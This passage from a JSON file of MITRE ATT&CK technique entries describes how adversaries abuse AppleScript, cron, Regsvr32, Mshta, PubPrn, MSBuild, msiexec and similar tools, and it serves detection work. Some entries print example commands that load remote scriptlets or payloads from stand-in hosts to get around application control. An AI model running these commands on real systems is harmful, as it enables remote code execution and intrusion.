"value": "Steganography - T1027.003"
},
{
"description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)",
"meta": {
"external_id": "T1059.002",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1059/002",
"https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html",
"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/",
"https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/",
"https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
]
},
"related": [
{
"dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
"type": "subtechnique-of"
}
],
"uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb",
"value": "AppleScript - T1059.002"
},
{
"description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts.\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
"meta": {
"external_id": "T1590.002",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1590/002",
"https://dnsdumpster.com/",
"https://www.circl.lu/services/passive-dns/"
]
},
"related": [
{
"dest-uuid": "9d48cab2-7929-4812-ad22-f536665f0109",
"type": "subtechnique-of"
}
],
"uuid": "0ff59227-8aa8-4c09-bf1f-925605bd07ea",
"value": "DNS - T1590.002"
},
{
"description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. ",
"meta": {
"external_id": "T1053.003",
"kill_chain": [
"mitre-attack:execution",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"Scheduled Job: Scheduled Job Creation"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1053/003",
"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
]
},
"related": [
{
"dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
"type": "subtechnique-of"
}
],
"uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c",
"value": "Cron - T1053.003"
},
{
"description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.",
"meta": {
"external_id": "T1053.004",
"kill_chain": [
"mitre-attack:execution",
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification",
"Process: Process Creation",
"Scheduled Job: Scheduled Job Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1053/004",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
"type": "subtechnique-of"
}
],
"uuid": "8faedf87-dceb-4c35-b2a2-7286f59a3bc3",
"value": "Launchd - T1053.004"
},
{
"description": "Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.",
"meta": {
"external_id": "T1059.006",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1059/006"
]
},
"related": [
{
"dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
"type": "subtechnique-of"
}
],
"uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
"value": "Python - T1059.006"
},
{
"description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).",
"meta": {
"external_id": "T1059.007",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1059/007",
"https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html",
"https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript",
"https://docs.microsoft.com/scripting/winscript/windows-script-interfaces",
"https://docs.microsoft.com/windows/win32/com/translating-to-jscript",
"https://nodejs.org/",
"https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5",
"https://redcanary.com/blog/clipping-silver-sparrows-wings/",
"https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/",
"https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
]
},
"related": [
{
"dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
"type": "subtechnique-of"
}
],
"uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
"value": "JavaScript - T1059.007"
},
{
"description": "Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32)\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016)",
"meta": {
"external_id": "T1218.010",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Network Traffic: Network Connection Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218/010",
"https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/",
"https://support.microsoft.com/en-us/kb/249873",
"https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/",
"https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html"
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
"value": "Regsvr32 - T1218.010"
},
{
"description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
"meta": {
"external_id": "T1213.001",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Logon Session: Logon Session Creation"
],
"mitre_platforms": [
"SaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1213/001",
"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
]
},
"related": [
{
"dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416",
"type": "subtechnique-of"
}
],
"uuid": "7ad38ef1-381a-406d-872a-38b136eb5ecc",
"value": "Confluence - T1213.001"
},
{
"description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).",
"meta": {
"external_id": "T1216.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1216/001",
"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn",
"https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/"
]
},
"related": [
{
"dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
"type": "subtechnique-of"
}
],
"uuid": "09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
"value": "PubPrn - T1216.001"
},
{
"description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)",
"meta": {
"external_id": "T1127.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1127/001",
"https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element",
"https://lolbas-project.github.io/lolbas/Binaries/Msbuild/",
"https://msdn.microsoft.com/library/dd393574.aspx"
]
},
"related": [
{
"dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
"type": "subtechnique-of"
}
],
"uuid": "c92e3d68-2349-49e4-a341-7edca2deff96",
"value": "MSBuild - T1127.001"
},
{
"description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
"meta": {
"external_id": "T1213.002",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Logon Session: Logon Session Creation"
],
"mitre_platforms": [
"Windows",
"Office 365"
],
"refs": [
"https://attack.mitre.org/techniques/T1213/002",
"https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
]
},
"related": [
{
"dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416",
"type": "subtechnique-of"
}
],
"uuid": "0c4b4fda-9062-47da-98b9-ceae2dcf052a",
"value": "Sharepoint - T1213.002"
},
{
"description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",
"meta": {
"external_id": "T1218.003",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Network Traffic: Network Connection Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/",
"https://attack.mitre.org/techniques/T1218/003",
"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)",
"https://github.com/api0cradle/UltimateAppLockerByPassList",
"https://msitpros.com/?p=3960",
"https://twitter.com/ItsReallyNick/status/958789644165894146",
"https://twitter.com/NickTyrer/status/958450014111633408"
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
"value": "CMSTP - T1218.003"
},
{
"description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)",
"meta": {
"external_id": "T1218.004",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218/004",
"https://lolbas-project.github.io/lolbas/Binaries/Installutil/",
"https://msdn.microsoft.com/en-us/library/50614e95.aspx"
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "2cd950a6-16c4-404a-aa01-044322395107",
"value": "InstallUtil - T1218.004"
},
{
"description": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",
"meta": {
"external_id": "T1218.005",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"Network Traffic: Network Connection Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/",
"https://attack.mitre.org/techniques/T1218/005",
"https://en.wikipedia.org/wiki/HTML_Application",
"https://lolbas-project.github.io/lolbas/Binaries/Mshta/",
"https://msdn.microsoft.com/library/ms536471.aspx",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
"https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
"https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade",
"value": "Mshta - T1218.005"
},
{
"description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
"meta": {
"external_id": "T1592.001",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1592/001",
"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
"https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"related": [
{
"dest-uuid": "09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
"type": "subtechnique-of"
}
],
"uuid": "24286c33-d4a4-4419-85c2-1d094a896c26",
"value": "Hardware - T1592.001"
},
{
"description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)",
"meta": {
"external_id": "T1218.007",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Network Traffic: Network Connection Creation",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218/007",
"https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/",
"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec",
"https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated",
"https://lolbas-project.github.io/lolbas/Binaries/Msiexec/"
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
"value": "Msiexec - T1218.007"
},
{
"description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n",
"meta": {
"external_id": "T1218.008",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Module: Module Load",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218/008",
"https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/",
"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/",
"https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017",
"https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/"
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071",
"value": "Odbcconf - T1218.008"
},
{
"description": "Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)",
"meta": {
"external_id": "CAPEC-630",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Domain Name: Active DNS",
"Domain Name: Domain Registration",
"Domain Name: Passive DNS"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1583/001",
"https://capec.mitre.org/data/definitions/630.html",
"https://threatconnect.com/blog/infrastructure-research-hunting/",
"https://us-cert.cisa.gov/ncas/alerts/aa20-258a",
"https://us-cert.cisa.gov/ncas/tips/ST05-016",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
"https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"
]
},
"related": [
{
"dest-uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2",
"type": "subtechnique-of"
}
],
"uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3",
"value": "Domains - T1583.001"
},
{
